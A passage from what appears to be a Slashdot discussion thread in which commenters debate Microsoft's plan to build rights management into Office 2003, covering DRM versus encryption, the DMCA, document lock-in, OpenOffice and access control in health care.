      I disagree, are you saying that the entire concept of encrypting documents is "the security equivalent of putting up a sign that says "please don't rob me"? If the OS and any apps prevents you from even doing screen caps of protected files, then you are left with A) installing device drivers that will do it for you B) photographing the screen C) writing everything down. Those might be fine for two paragraph memos, but obviously anyone who would go through all that trouble could not make an easy case for them "not knowing" that what they were doing was wrong. Just like locks on doors (and doors themselves). Right now with most documents, we have the equivilent of simply having a law that says "you are not allowed to enter someone elses home without their permission". DRM merely adds the lock and door. You can ignore the first and get around the second, but I know of few people who don't have locks and doors and who don't rely on them.

      And OF COURSE if Microsoft can figure out a way to make more money in the process, they surely will.

    13. Re:Bucking the trend by Col.+Klink+(retired) · · Score: 1

      The whole Dmitry Sklyarov affair was because he wrote a program to trivially break Adobe's DRM. The document was "encrypted", but before viewing it on the screen, it was decrypted.

      DeCSS was an attempt at DRM. DVD's contain encrypted data (and LOTS of it). The problem is, before you can see it, your player has to decrypt it.

      To hear Hollywood tell the story, they believed that this was going to stop piracy and that DeCSS has cost them billions of dollars. The fact is, it wasn't the person that cracked DeCSS that cost them money, it was the person that convinced them that the content could actually be secured that cost them...

      Encryption is useful for storing and transmitting information where a hostile person might be able to intercept the document, but if you plan to give the document to someone and allow them to view it, they will have to decrypt it.

      As for using DRM to let people know that a document can't be copied, we have our own solution around here to let people know what they can copy. We put a line across the top of each page that states the documents Classification. Even then, people sometimes forget to put that on their printouts. I can't imagine that DRM will somehow make the users incapable of forgetting to set their permissions appropriately.

      --

      -- Don't Tase me, bro!

    14. Re:Bucking the trend by binaryDigit · · Score: 1

      I agree with your points, the issue is providing a level of security that makes it more difficult to break. We know that SSL is not 100% secure, but we use it, how is this any different. IF it can achieve a level of security high enough, then what more can we expect?

      Having worked for various startups (some more secret than others) and for companies that do work for the govt, I know about marking documents etc, again, this adds an extra layer. You avoid the person forgetting by making sure you're document templates have the necessary permissions by default.

      Again, not a perfect system, but will the system they release be "good enough"? And until they release it, who knows. And if it isn't, then the market will decide and nobody will use it.

    15. Re:Bucking the trend by 1010011010 · · Score: 1

      Increased dependance on technology in general is one thing. Increased dependance on Microsoft is quite another.

      --
      Napster-to-go says "Fill and refill your compatible MP3 player", which is a lie. It's not MP3. It's WMA with DRM.
  28. So much for XML or standardization by DigitalSorceress · · Score: 4, Interesting

    I was sort fo hoping against hope that MS would be moving further toward XML and therefore allowing greater standardization (I know it's a pipe dream, but one's gotta have hope)

    In order for Redmond to add rights management, it kind of implies that they will have to lock down their documents. After all, what good would it do to make a Word document only readable by some certain person or group only to have anyone with a text editor or even a web browser be able to open it?

    So, they will have to encrypt everything - and each time you go to open an Excel spreadsheet or WOrd doc, the program will have to "phone home" to Microsoft with your PASSPORT account?

    *sigh*

    --

    The Digital Sorceress
    1. Re:So much for XML or standardization by 1010011010 · · Score: 1


      They'll probably have a "local passport server" to handle your company LAN. But what about when you email that document to another company? I assume you'll either have to link the two companies' passport systems together, or use the public MSFT passport system. What if the other company loses their internet connection? No document access? Another question -- why should you have to log all file access with Microsoft HQ? What is the government was proposing this? Wouldn't you be upset?

      --
      Napster-to-go says "Fill and refill your compatible MP3 player", which is a lie. It's not MP3. It's WMA with DRM.
    2. Re:So much for XML or standardization by Jeremy+Erwin · · Score: 1

      Microsoft plans to offer its software via subscription services-- wouldn't it be just dandy if publication of a document could be made contingent upon payment of subscription fees? A centralized passport server will help implement this feature

    3. Re:So much for XML or standardization by Trailer+Trash · · Score: 2, Insightful

      I was sort fo hoping against hope that MS would be moving further toward XML and therefore allowing greater standardization.

      It's surprising how many people make dumb comments like this on Slashdot. Please go learn about XML then get back with us.

      Briefly, XML is a format for data formats. Creating a document in an XML format doesn't mean it'll be readable by anybody else. It's the rough equivalent of saying "I wish Microsoft would start using 8-bit bytes in their data files..."

    4. Re:So much for XML or standardization by Zero+Sum · · Score: 1
      I use BSD and nothing but. BSD is dying? So what. So am I. "You are old, Father William, the young man said,". So what?

      What the BSDs have given to the world cannnot be revoked. We have done enough even if we do no more. What have you given the world, other than piteous mockery?

      --

      Zero Sum (don't amount to much). [root@localhost]

    5. Re:So much for XML or standardization by gmhowell · · Score: 1

      Can't believe it took so long for someone to make this observation.

      --
      Jesus was all right but his disciples were thick and ordinary. -John Lennon
  29. Dont worry.... by override11 · · Score: 1

    This will be cracked in no time, just think about the hype from Activating Windows XP, and a crack was out before it hit the shelves. It will be the same here. :)

    --
    No I didnt spell check this post...
    1. Re:Dont worry.... by tsa · · Score: 1

      And then the DMCA comes to Microsoft's rescue.

      --

      -- Cheers!

    2. Re:Dont worry.... by Jondor · · Score: 1

      sure, but it still will be cracked and no longer trusted. You can sue someone for breaking your eggs, but it will still be omelet for diner tonight..

      --
      Nobody expects the spanish inquisition!
  30. Does not want to be free by ACNiel · · Score: 1

    Sorry, that was to say my diary et al does NOT want to be free.

    You may want it to be free, but it doesn't want to be free, and you have no right or expectation to see that type of information that is produced in Office.

    And with the example given, you have an expectation that 3M might do somthing about the dumping, but you have no expectation to see such communication.

    1. Re:Does not want to be free by bnenning · · Score: 1
      You may want it to be free, but it doesn't want to be free, and you have no right or expectation to see that type of information that is produced in Office.


      That has nothing to do with DRM. You can encrypt your diary today, or better yet just don't keep it in a publicly accessible place. The problem with DRM is not the functionality it claims to offer, but with the removal of the user's ability to control his own computer.

      --
      How to solve most of our problems: 1.Lots of nuclear plants. 2.Cure aging.
  31. So? by aluminum+boy · · Score: 1

    So what does this accomplish that a chmod command or window's current file-sharing capabilities do not? Sounds like a weak marketing-based attempt to cover up their bigger security woes.

  32. Ingenuity at its best. by tarquin_fim_bim · · Score: 1

    "IRM is a persistent file-level technology from Microsoft that allows the user to specify permission for who can access and use documents"

    Why didn't anyone think of this before?

  33. Maybe it's just me by mao+che+minh · · Score: 1

    Pardon me for being so pessimistic, but with a company like Microsoft implementing such a broad and ambitious security scheme, It sounds more like "Microsoft is threading potential security flaws throughout the Office 2003 suite". Furthermore, the new properties being assigned to the files will likely all but assure that users will either have to upgrade, or face constant patching and updating of their software in order to read the documents. This will in turn make it much more difficult for competitors to insure compatibility.

  34. DRM in Office 11 by ackthpt · · Score: 1
    Microsoft is threading DRM throughout the Office 2003 suite, allowing restrictions to be set on Outlook mail messages, as well as on Word, Excel and PowerPoint documents. Using "permission templates," document authors can determine restriction policies to be applied to entire categories of documents, according to Microsoft's site."

    Fine. Big evil pirate that I am, I'll just export it all as XML, remove the DRM tagged bits, then go back to watching videos in Excel and listening to MP3's in Word.

    --

    A feeling of having made the same mistake before: Deja Foobar
  35. The Server DRM side is called RMS by questionlp · · Score: 2, Informative
    In this case, RMS stands for Rights Management Services. News.com.com... has the story:

    http://news.com.com/2100-1001-985496.html

    If some people thought that GNU/RMS is bad enough, now we have MS-RMS!

  36. I Thought DRM = Digital Restrictions Management by Nintendork · · Score: 1
    Correct me if I'm wrong.

    -Lucas

    1. Re:I Thought DRM = Digital Restrictions Management by DeltaSigma · · Score: 1

      Or "Digital Rights Management."

      The phrases CAN be interprited differently, but are usually likened unto each other.

  37. When DRM == Privacy? by gnetwerker · · Score: 4, Insightful

    It will be interesting to see how /.ers (and sophisticated-but-trigger-happy users in general) deal with a convergence of the hated DRM with the much-beloved crypto-privacy.

    If explained as "future versions of an office productivity suite will contain easy-to-use capabilities to ensure the privacy and secrecy of the user's documents, allowing them to be exchanged only with select others and safe from prying eye", we would all shout Hallelujah!

    However, if it's "the ugly black hand of Digital Rights Management has now extended from our televisions and stereos to our very own documents", we shout "boo-hiss"!

    I mean, really. Information wants to be free, as long as it's not the business plan for my new multi-zillion-dollar startup that wants to be free. Or is it that Information wants to be free unless it is John Ashcroft that's doing the looking?

    Don't get me wrong, I'm as suspicious of Microsoft and of DRM as the next guy, but does everyone think "DRM" (or whatever we call it)is as bad when it's *your* (private) information as when it's a plausibly mass-distributed movie or song?

    gnetwerker

    1. Re:When DRM == Privacy? by bnenning · · Score: 1
      DRM has very little to do with encryption or privacy. If you want your plans for world domination to stay secret, you can encrypt them today. The problem with DRM is not with the functionality it allows, but with the architecture that's required to support it. Say you want to use DRM to show me your secret document but disallow me from printing it or sending it to anyone else. How is this going to work? Obviously the print and copy functions are going to be disabled, but what will stop me from firing up a debugger and twiddling the bit that says "this document is protected", or simply reading the unencrypted data out of memory? Either I can do this and your DRM is useless for its intended purpose, or the Palladium-style DRM will stop me. In the latter case I have lost control over what runs on "my" computer, which is unacceptable to me.


      Effective DRM is fundamentally incompatible with general-purpose computing. I don't have a problem with *ineffective* DRM (i.e. that doesn't attempt to restrict tools that could be used to defeat it), but that's obviously of limited use. That might actually be good enough for some cases where you want to make it inconvenient for people to print sensitive documents, recognizing that it's not foolproof.

      --
      How to solve most of our problems: 1.Lots of nuclear plants. 2.Cure aging.
    2. Re:When DRM == Privacy? by spitzak · · Score: 2, Insightful

      There is a world of difference between encryption and DRM. Encryption relies on two parties both of who are interested in keeping a secret. DRM attempts to make a party that is NOT interested in keeping a secret to do so. This violates the laws of physics and causality and is in the end impossible. Attempting to make the impossible possible will just make things incredibly inconvienent. The fact that it also makes competition with Microsoft impossible also makes everybody really pretty upset.

  38. Re:I would like my macro virus.... by simetra · · Score: 1

    Offtopic?

    Okay, for the moron who moderated this, maybe this will clear it up. This type of thing is going to open a big can of worms (no pun intended). Here's an imagined dialog box: "Microsoft DRM has determined that you've been permitted to open this document and launch the macro virus embeded in it. Microsoft DRM has determined that you have launched a macro virus and no longer have rights to any file on your computer and will be locked out. Your social security number and other vital information has been emailed to the FBI."

    --

    "Would it kill you to put down the toilet seat?" -- Maya Angelou
  39. I thought DRM = Digital Rights Management by Nintendork · · Score: 1
    hehe, see what happens when I get lazy. I copy and paste. Then I submit without making the change I intended to make. My bad.

    -Lucas

  40. Document DRM vs. other DRM by sidvishus9 · · Score: 1

    I don't mind being limited in options set BY THE ACTUAL DOCUMENT AUTHOR. However, being restricted by record company head several steps removed from actual artists is bad. With that said, there hasn't been a conservative, constructive, new, non-bloatware feature in the Office suite since about 1997. It doesn't seem like this trend will end anytime soon.

  41. Screenshots.... by Oriumpor · · Score: 1

    a list of reasons why this is stupid:

    1. It's overly confusing for windows average users.

    2. It's something that's easily bypassed.

    3. Printscreen + CTRL-V

    4. Printers used in conjunction with scanners... (hackneyed but hey it happens)

    5. Fax machines.

    6. Microsoft decides how these rules work.....

    7... did I say microsoft?

    1. Re:Screenshots.... by SoftwareJanitor · · Score: 1

      3. Printscreen + CTRL-V

      Printscreen either won't be permitted when DRMed documents are open, or the DRMed portion of the screen will be redacted in the output. Cut and Paste will be disabled in DRMed documents.

      4. Printers used in conjunction with scanners... (hackneyed but hey it happens)

      Printing of DRMed documents will not be permitted.

      But at any rate, even if it is possible to bypass the DRM, the real reason for it is to kill interoperability with competing office software.

    2. Re:Screenshots.... by Tim+C · · Score: 1

      You're probably right.

      I'd love to see Office (or any other piece of software) prevent me from photographing my monitor, though.

  42. Goodbye Apple. by Eric_Cartman_South_P · · Score: 1
    Does anyone else see that Microsoft, now owning Connectix and releasing DRM in office 11 will kill apple? Connectix for Mac will soon no longer be updated, and as soon as a MacOSX update 10.3, 10.4, etc breaks Connectix v6, then NO MORE WINDOZE FOR YOU on apple. But oh! Boss, friends, school et. al. are sending you Office DRM(TM) docs? Guess you better step over to www.dell.com real fscking quick.

    This sucks. I like Apple. I want them to grow. But with this, and MS buying Connectix, they will die. :(

    1. Re:Goodbye Apple. by BigumD · · Score: 1

      Yeah, because there aren't any alternatives to Virtual PC or anything...

      --
      --The space between my ears was intentionally left blank--
    2. Re:Goodbye Apple. by Utopia · · Score: 1

      Don't think so. Microsoft has a profittable Mac business and press release says they will continue to support and develop for all platforms Connextix currently supports.

    3. Re:Goodbye Apple. by bnenning · · Score: 1
      But with this, and MS buying Connectix, they will die.


      Nope. If Apple has any clue at all they've been preparing for this, and indications are that they have. Look at Keynote: it's a thinly veiled message to Microsoft that Mac Office is not indispensible. Ditto for Safari vs IE. And a recent rumor was that OS X for x86 would ship right after MS released the Palladium-crippled Windows, which could make things very interesting.

      --
      How to solve most of our problems: 1.Lots of nuclear plants. 2.Cure aging.
    4. Re:Goodbye Apple. by Eric_Cartman_South_P · · Score: 1
      I hope your right, you got some good points. However here is my fear, take Keynote and everything else apple will throw around... so other solutions will exisit. A small minority of solutions. However MS can enforce the DRM on their own stuff with the DMCA if anyone were to write/create/whatever anything that can even OPEN those files. So what you have is a propriatary file format that you can ARREST people for supporting! Where DRM goes, DMCA follows. And if (when) MS decides not to release an Apple version? Too bad, because Apple can't make their own!

  43. So yeah... by iamdrscience · · Score: 3, Interesting

    Openoffice.org... Open office is really nice. I just started using it a few months ago when one night I finally got fed-up with Word's autoformatting (fuck you, it can't be turned off and that's the truth) so I finally said "screw it, the open source office alternatives can't be this bad". I downloaded Open Office (like 5 mins on my cable modem) and installed it (like 2 minutes) and I had something that worked at least as well as and in my opinion, better than MS Office. I've been telling my friends about it ever since and a lot of them are sold on it too.

    1. Re:So yeah... by UnknownSoldier · · Score: 2, Interesting

      > Open office is really nice ... and in my opinion, better than MS Office.

      I just tried it out this week, after trying (unsucessfully) to get Excel to replace '*' in a spreadsheet. I like what I see so far in OpenOffice.org Calc ! It has a *very* nice find/replace dialog - it even supports regular expressions.

      What I don't like:
      - Memory usage seems worse then Excel
      - Doesn't support the macros in my Excel sheets :(
      - The 'thumbtab' in the bottom right is too small, and not the standard Windows one.
      - The UI and hotkeys are not close enough to the Excel layout. (PageUp PageDown doesn't work in Print Preview, etc)

      Regardless, it *has* piqued my curiousity for me wanting to take a look at the source, and maybe even see what's involved in contributing.

      It is possible to support a 'community wish list' ? I'd pay a few dollars to have some features added!

      Bringing this back on topic ... any Plans for DRM in OpenOffice ? I can see it's usefullness by password protecting, and only allowing viewing. Pretty much what PDFs already support, but at least we would have a "free" editor.

    2. Re:So yeah... by Spy+Hunter · · Score: 1

      You must be using Word 2000, the most annoying word processor known to man. Every time Word XP does one of its little autoformatting tricks, such as an automatic numbered list, it pops up an icon with a menu that has options like "Undo this numbered list" and "Never automatically make numbered lists". You can quickly turn off each of the stupid autoformatting features as you run into them. Microsoft does listen, at least sometimes.

      --
      main(c,r){for(r=32;r;) printf(++c>31?c=!r--,"\n":c<r?" ":~c&r?" `":" #");}
    3. Re:So yeah... by alexpage · · Score: 1

      Memory usage seems worse then Excel

      This is true - the main problem with OO is that it is a bit of a memory hog. Hopefully this will change over time.

      Doesn't support the macros in my Excel sheets

      That would require a full VBA runtime for OpenOffice, which as well as being insecure (where do you think those Office document macro viruses come from) is undocumented, propriatery and probably patented / copyrighted to litigation hell should somebody try to reimplement it.

      any Plans for DRM in OpenOffice

      I bloody hope not. At the end of the day, DRM as a technology is plain broken. Yes, it's nice to think that we can use DRM to specify what people can do with our data (You can read this for the next week, but not distribute it or print it off), but DRM is an attempt to solve a social / legal problem by technical means. Since it can never be made to work, even in theory, I don't see the point in trying, given all we stand to lose, like the concept of fair use.

      Still, kudos to you for wanting to contribute. The OpenOffice site has plenty of documentation on submitting bugs and patches.

  44. The choice becomes even more clear. by rdewald · · Score: 4, Interesting

    Msoft seems at first glance here to be addressing a need in my industry, health care, to tightly audit and control access to documents. The problem is the preservation of health information privacy while providing free and ready access for authorized users. Network user authentication only goes so far because the same user might need different privileges for the same document at different times, depending on the purpose of the disclosure at the time.

    We have a principle in health information security called "minimum necessary" which dictates that information only be disclosed for a particular purpose and only the information needed to accomplish said purpose be disclosed at the transaction level. Meaning, if you come back and have something else to do with the same document, you might need a different level of access. It is a sticky wicket.

    --
    The best way to do is to be.
    1. Re:The choice becomes even more clear. by A_Non_Moose · · Score: 1

      It is a sticky wicket.


      TMI, my friend, TMI.
      .

      --
      Have you read the moderator guidelines? Well, have you, PUNK? (and I want a Karma: Gnarly option)
    2. Re:The choice becomes even more clear. by mcjulio · · Score: 1

      Principle of least privilege, OOP-style. It actually makes pretty good sense under a lot of business scenarios, I think, and it will ensure the upgrade cycle for at least one more release of Office, which is good news for MSFT shareholders.

  45. A simple way around DRM by shadwwulf · · Score: 1

    Take a screenshot, save, send... I doubt DRM can pass a simple turing test.

    1. Re:A simple way around DRM by dcuny · · Score: 1
      Since the WinAPI has control over the blit requests, it wouldn't be that difficult to lock access to internal bitmaps so that they are only available to "secure" applications.

      In fact, DRM is already built into Media Player - you can't grab a screenshot via the Print Screen button on secured video. You just get a black image where the video image would be.

    2. Re:A simple way around DRM by qa'lth · · Score: 1

      That's actually because the video player is writing to the overlay buffer on the video card, not because of any DRM technology. It happens with any video player.

  46. Um, how doesn this work? by argmanah · · Score: 2
    From the article: "IRM is a persistent file-level technology from Microsoft that allows the user to specify permission for who can access and use documents or e-mail messages, and helps prevent sensitive information from being printed, forwarded, or copied by unauthorized individuals. Once permission for a document or message has been restricted with this technology, the access and usage restrictions are enforced no matter where the information is."
    Perhaps this has been addressed by another post, but couldn't you just copy data elsewhere? Either copy/paste, or if they can even restrict that, then type it manually a new document.

    The only data this technology seems to protect is the data not worth spending that kind of time on. If it's not worth spending that kind of time on it, why bother protecting it in the first place?
    --
    Overrated Moderation: This posts sucks... because.
    1. Re:Um, how doesn this work? by questionlp · · Score: 1

      My guess is that in conjunction with the Rights Management Services (RMS) in Windows Server 2003, either the application or the server would read the metadata/DRM flags in the document before the actual operations would take place.

      Let's say that a Word document with DRM flags to only allow print by specific execs, is in a share that only allows C-level execs access, and someone somehow got access into the share and attempts to print the data. The server would of course allows the user (who has access via the share) to read the file, but the DRM flags only allow certain people to print, so the user is denied print access by Word.

      That's just an example that I was able to pull from this tired mind... but you probably get the gist of it.

    2. Re:Um, how doesn this work? by orangesquid · · Score: 1

      This is fantastic! Once e-mail and electronic documents are unusable, people will go back to writing letters and talking to each other like they did in the good old days to exchange gossip and secrets.

      --
      --TheOrangeSquid Is it any wonder things seem so awry? We swim in a sea of confusion and don't have to think to survive
  47. OH NO!!! by Eric_Cartman_South_P · · Score: 1
    You are SO right. Openoffice tries to work with the DRM and the DMCA smacks them back. How long until Plugin X or Open Source App Y gets smacked down with the DMCA? :(

    *Feeling REAL sad about this.*

  48. DRM software "chown" to be in all distros by nfotxn · · Score: 1

    I dunno, I think anyone using an operating system with permissions would be a mighty bit hypocritical complaining about "permissions" on documents. It's not like they're enforcing screwed up IP law here.

    And the security will probably suck.

    --

    _nfotxn

  49. will it even be used? by mrhandstand · · Score: 1
    or understood? How many current office users actually understand or apply HALF of the advanced features in the last two or three versions of Office? MS pushes a new release every 1-2 years. IT depts push a release every 2-3 years and are currently more than a FULL REV behind. And with the current release it's gonna get worse.

    Users have enough trouble on a daily basis, not counting the problems with UI change from rev to rev. And it spirals downward quickly when trying to train users on NEW features. Most people don't understand the the need for non-p2p DRM. And fewer still want the hassle of trying to think about permissioning every time they creat a document.

    What is really needed is respect from the employeer and expectation of responsibility from the employee.

    --
    Always value the individual over the system. --Bruce Lee "I don't need a Sig - I have a custom 191" - me
    1. Re:will it even be used? by 40000 · · Score: 1

      What's worse is when some P133 with 16 MB in your office has Office 2000 installed on it just because it's almost the newest version.
      I don't think most people learn the new features of applications when they upgrade.

  50. Next gas: 50 miles by lynx_user_abroad · · Score: 5, Insightful
    This is a warning to all of you who have Important Data inside a Microsoft file format: This is your last chance to get the information out of a proprietary format and into a format you can control.

    Once this hits the market, anyone trying to sell software which can bypass the access control mechanisms of Word to read copyrighted information (it's all copyrighted) from within a protected document will be strung-up as a DMCA criminal.

    This feature will not be offered as a part of Open Office.

    It's kinda like those "Last gas for 50 miles" signs you see outside the overpriced gas station in the middle of the desert. Here's your chance. Miss it, and there's no turning back.

    --

    The thing about things we don't know is we often don't know we don't know them.

    1. Re:Next gas: 50 miles by Hiro+Antagonist · · Score: 1

      It's kinda like those "Last gas for 50 miles" signs you see outside the overpriced gas station in the middle of the desert. Here's your chance. Miss it, and there's no turning back.

      They're hardly overpriced; they're responding to market demand -- it's a higher cost to get fuel and snack-mart goods out to the middle of nowhere, and there are fewer customers.

      --

      --
      I Hit the Karma Cap, and All I Got Was This Lousy .sig.
    2. Re:Next gas: 50 miles by SporkLand · · Score: 1

      What's to stop you from converting the document later? It's not like this format stops YOU from copying and pasting a document that YOU created and have the permissions for. It seems like you are just fear mongering without any actual facts or guesses about what might actually happen in the future.

      ps. I don't have them either, but that doesn't mean I can't call your bluff. In my opinion it may be come more difficult to convert files, but I'm not totally sure about it, so I'm not going to start yelling about it.

    3. Re:Next gas: 50 miles by lynx_user_abroad · · Score: 1
      What's to stop you from converting the document later? It's not like this format stops YOU from copying and pasting a document that YOU created and have the permissions for.

      Silly poster, He thinks he owns his documents...

      It seems like you are just fear mongering without any actual facts or guesses about what might actually happen in the future.

      Quoth Tim Berners-Lee: "The Paranoids are always the first to suspect..."

      I don't have them either, but that doesn't mean I can't call your bluff.

      I wish someone would call my bluff and prove me wrong, but I don't see it happening.

      If you have a document "YOU created and have the permissions for" in a proprietary Microsoft format, you will continue to be able to access YOUR information, but you'll be forced to use a Microsoft tool to do it. This means you'll continue to have access to it only so long as you remain a Microsoft subscriber in good standing. It's kinda like allowing somebody to erect a tollbooth on your driveway, no?

      There's no legal requirement for Microsoft to provide tools which would allow you to extract your intellectual property from the file. There's no law mandating an "Export..." menu item, and nothing regulating how well it works. And there's no financial incentive for Microsoft to provide that function, either. If you're looking to stop being their customer, and stop sending them money, why would they provide you with a set of tools to allow you to do this?

      Remember that the important content of a Word, PowerPoint or Excel file includes not only the textual information, but also things like the font and stylesheet definitions, the tab settings, table layouts, document change history, etc.

      Currently, some of the proprietary Microsoft file formats have been reverse-engineered enough to allow other applications (StarOffice, for example) to import the data and allow you to manipulate it with varying degrees of success. The specific editing features and rendering capability vary by application. Your results may vary. Presumably, if it were important enough to you, you could buy (or write) an application which would give you the editing and rendering capability you desire. (That can be done, for a price.) However, doing so requires that you understand Microsoft's proprietary file format used to store the file. (That information is unavailable at any price.)

      But once your document has been "converted" into the new "content managed" file format, you lose even that *for a price* option. DMCA makes it a crime to develop technology which would allow you to bypass the access controls and access the content, even if you are otherwise authorized to access the content. (Think about the DeCSS precedent; It doesn't matter that you own the DVD and are authorized to watch the movie in a licensed DVD player, it's still illegal for anyone to develop or offer for sale the technology which would allow you to access the content in an unauthorized fashion.) So you won't see a future StarOffice advertising (or even posessing) the ability to read "protected" documents, because doing so would be illegal.

      The legal construction is that by offering a program which can read these files, they are selling you a way to bypass the protections I put into place to protect my copyrighted content. The fact that you want to use it to access your own copyrighted content holds no sway.

      Try this little experiment: Take any reasonably-complex document, export[1] it from a Microsoft app, re-import it back into the same app, and see if the results are comparable. Try simple tasks with the re-imported document, like fixing a spelling error, changing the size of an image. (This experiment tests the export capability of the application while controlling for the rendering and editing functions; a flawed import function could skew results.)

      [1] export defined here as saving to a non-proprietary, unencrypted, non password-protected file format which *could* be read and understood by another application.

      I wonder how corporations in the future are going to account for this? I can't imagine a CFO maintaining a straight face as he says "I put a huge amount of our corporate capital property into a trust we can never withdraw from..." but will we see CIO's saying "I put a huge ammount of our corporate intellectual property into a format we can never extract it from..."? All those marketing brochures, all those design documents, all those powerpoint charts....

      --

      The thing about things we don't know is we often don't know we don't know them.

  51. Great Another Feature to Go Unused by 1stflight · · Score: 1

    I guess M$ has yet to hear of the 80/20 rule, where 20% of the features will be used by 80% of the buyers. No wonder they're pushing the subscription model.

  52. More Hassle than it's worth? by Azureflare · · Score: 1
    Gah, this sounds like more hassle than it's worth. If you are working in a corporate LAN, why would you want to restrict access to files, and restrict what file editors a document could be opened in? OK, if you have fears of stuff leaking...why would you be typing it up and sending it to people in the first place? My feeling is that Microsoft is trying to do too much. Security problems are attitude, not software.

    Microsoft is setting themselves up for failure by making a already complicated product even more complicated and harder to use seamlessly. This should not be their objective.

    BTW, can anyone say that Word 2000 is not adequate for your needs? Seriously, what more do you need in a word processor? If you need more than word 2000 offers, you should be using a different product. (especially at the incredibly exorbitant cost that MS office goes for these days)

  53. HAHA haha that's a good one by sulli · · Score: 1

    Just like password protected Word files or ebooks? this will get cracked sooner than you can say "screenshot."

    --

    sulli
    RTFJ.
  54. More SChooling by pkunzipper · · Score: 1

    More restrictions for users?..oh man, lawyers and office worlkers worldwide will have trouble with this one. "Stu got my e-mail that I sent to all 6 of them...but noone else did!" Questions....I think this is either another effort by Microsoft to make itself look smart by complicating things, or a US effort to send old ppl back to school in this dying economy.

  55. Mod parent up! by kahei · · Score: 1



    I've always wanted to say that. But he's right and it's an important point.

    --
    Whence? Hence. Whither? Thither.
    1. Re:Mod parent up! by shdragon · · Score: 1

      To parent & grandparent poster:

      It's not the information I fear. It's how people intend to use the information that I fear. For example, say my neigbor is out of town for a month. Someone knocks on Bob's (my neighbor) door and without any answer, comes to me to ask if I have seen Bob. Now, not knowing this person or their intent, I would like first to know why they would like to know. They could lie to me, they could not. In real life, we have the benefit of using the "something doesn't seem right" where-as online this invaluable safeguard doesn't exist.

      Until something similar comes along in the online world, I am all for having total and complete control over my bits and bytes whenever possible.

      --
      "...we dont care about the economics; we just want to be able to hack great stuff."
  56. whistleblowers... by antibryce · · Score: 1


    What I want to know is what happens when someone circumvents this to forward a company memo to the FTC or DOJ. Whistleblowers are protected by the federal government, but they just violated the DMCA. Will the feds charge them, and then charge themselves with retaliation against a whistleblower? My head hurts.

  57. Hey numb nuts by siskbc · · Score: 1

    If you're going to troll, at least make it amusing.

    --

    -Looking for a job as a materials chemist or multivariat

  58. I bet Microsoft bought these guys... by ...+James+... · · Score: 1
    ...or will put them out of business.


    Check out their mailrecall and pagerecall products


    I evaluated them once. You need to install a plugin in your mail client. When you open a protected document, it contacts your server to determine what can be done with the document. Pretty neat technology actually. Really good if you send an email you shouldn't have :)

    1. Re:I bet Microsoft bought these guys... by cant_get_a_good_nick · · Score: 1

      I think Exchange servers already allow this, we run exchange here at my job (shudder) and I recall "Message has been recalled" notices. So you're going from one Outlook/Exchange proprietary toolset to another Outlook/Exchange toolset - shouldn't affect those guys at all.

    2. Re:I bet Microsoft bought these guys... by YetAnotherDave · · Score: 1

      but those recalls are just a suggestion.

      I use fetchmail/mutt so I can read mail in a real threaded mail client. I get a kick out of seeing 'Joe Luser would like to recall the message $subject' in mutt, where it's magically evaporated from my OutHouse INBOX.

      I'd be surprised if similar things didn't happen here, MS doesn't seem to bother considering those who don't use their products exclusively....

  59. The Implications of this are Huge by Teckla · · Score: 5, Insightful

    Think about it:

    * It makes the chances of writing an office suite that is compatible with MS Office 2003 almost impossible. I bet the DMCA will make it illegal to reverse engineer the crypto you'll find this new IRM technology uses.

    * It boosts Windows Server sales, since this technology will require Windows Server. UNIX-based file servers need not apply; they aren't IRM-enabled (and not allowed to be, thanks to the DCMA).

    * It'll force users to upgrade Office. Yes, Office 97 already does way more than you need already. Too bad. You'll need to keep your version compatible with all the IRM-laden .doc, .xls, .pps, etc. files that'll be flying around.

    * The PHB's of the world will eat this technology up without realizing the consequences.

    Microsoft is brilliant. Fucking brilliant. I thought they were starting to lose it, but they're not. They've found new and amazing ways to leverage their monopoly; except, this time, it's not their OS monopoly. It's their office suite monopoly. My hat is off to you, Microsoft.

    Corrections welcome.

    -Teckla

    1. Re:The Implications of this are Huge by Sloppy · · Score: 2, Interesting
      I bet the DMCA will make it illegal to reverse engineer the crypto you'll find this new IRM technology uses.
      How so?

      Consider: Who holds the copyright to these documents? Everyone. This is nothing like the situation with CSS-protected DVDs, where the only party who held the copyright was claiming that permission was not granted. If you write a document in MS Word, it is yours, and you are the one person in the whole world, who under DMCA, grants permission to people to access that document. Grant it, and the tools are legal.

      DMCA only has teeth in reference to DRM, in cases where the scrambled content is created by a monopoly or cartel. If there's no monopoly on content, then DMCA is meaningless. DMCA was bought by monopolists and is only useful for monopolists.

      "We, the MPAA, in order to form a more perfect union..."

      --
      As copyright owner of this comment, I authorize everyone to defeat any technological measure which limits access to it.
    2. Re:The Implications of this are Huge by fishbowl · · Score: 1

      >How so?

      You are looking at the Documents created with the system. The other poster was speculating that DMCA restrictions can be used to prohibit the development of another compatable system.

      "Monopolies" and "Cartels" don't really enter into it.

      --
      -fb Everything not expressly forbidden is now mandatory.
    3. Re:The Implications of this are Huge by Sloppy · · Score: 1
      The other poster was speculating that DMCA restrictions can be used to prohibit the development of another compatable system.
      Which DMCA restriction could be applicable?

      "Monopolies" and "Cartels" don't really enter into it.
      It does if you think 1201 could be used. The system used to create the document is mostly irrelevant under DMCA; the copyright holder is what matters. That is why MPAA was able to use DMCA to threaten people, and DVDCCA was not. It was DVDCCA's system, but cracking their system wasn't a DMCA violation. Cracking MPAA's content is what made DMCA applicable.

      It was a subtle distinction in that case, but would be a glaringly obvious distinction in this one.

      To put it another way: if you crack this DRM, who is going to sue you under the terms of DMCA? There would be no unified front to say that you don't have permission, and plenty of people who would grant you permission. There would be no credible argument for saying that your cracking tool was intended to circumvent the access control on any particular party's copyrighted work without permission.

      I'm not saying a new law couldn't outlaw cracking this type of DRM; I'm just saying that DMCA wouldn't work. DMCA is for copyright holders, not algorithm inventors.

      --
      As copyright owner of this comment, I authorize everyone to defeat any technological measure which limits access to it.
    4. Re:The Implications of this are Huge by Rakarra · · Score: 1
      DMCA is for copyright holders, not algorithm inventors.

      Here, let me amend the above statement a little:
      DMCA is for large corporations, not individual citizens.

      That should give people a little better idea who will come out on top of a DMCA lawsuit.

    5. Re:The Implications of this are Huge by wfrp01 · · Score: 1

      I'd say it's always been their office monopoly. People buy computers for the applications. They want the applications to be compatible with those of their friends, coworkers, family, etc. This just takes things to a new level. A very frightening level. From "use MS because it will interoperate better" to "use MS because you really have no choice."

      It's time for the mass defection to begin.

      --

      --Lawrence Lessig for Congress!
    6. Re:The Implications of this are Huge by DarkAce911 · · Score: 1

